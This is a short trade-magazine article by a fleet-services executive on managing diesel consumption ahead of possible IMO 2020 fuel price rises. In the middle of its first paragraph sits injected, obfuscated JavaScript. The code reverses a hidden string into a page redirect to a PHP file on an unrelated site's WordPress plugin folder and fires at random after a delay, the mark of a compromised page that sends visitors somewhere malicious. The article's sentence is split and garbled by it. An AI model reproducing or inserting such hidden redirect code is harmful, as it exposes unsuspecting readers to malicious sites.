Offset possible fuel hikes by managing fuel consumption now

By Joseph Evangelist

Executive Vice President, Transervice
As originally appeared in FleetOwner Magazine’s IdeaXchange

There has been some talk in the news lately about a possible increase in the cost of diesel fuel. Some of the concern stems from IMO 2020, which $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toughen rules on sulfur emissions from ships.

Beginning in January, the International Maritime Organization’s new rules will ban ships from using fuels with a sulfur content above 0.5%. Today typical fuel used by ships has a sulfur content of 3.5%.

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We’ve all heard that old cliché, “Nothing is more expensive than hauling air.” Eliminating empty backhauls when possible will result in better overhaul freight efficiency.

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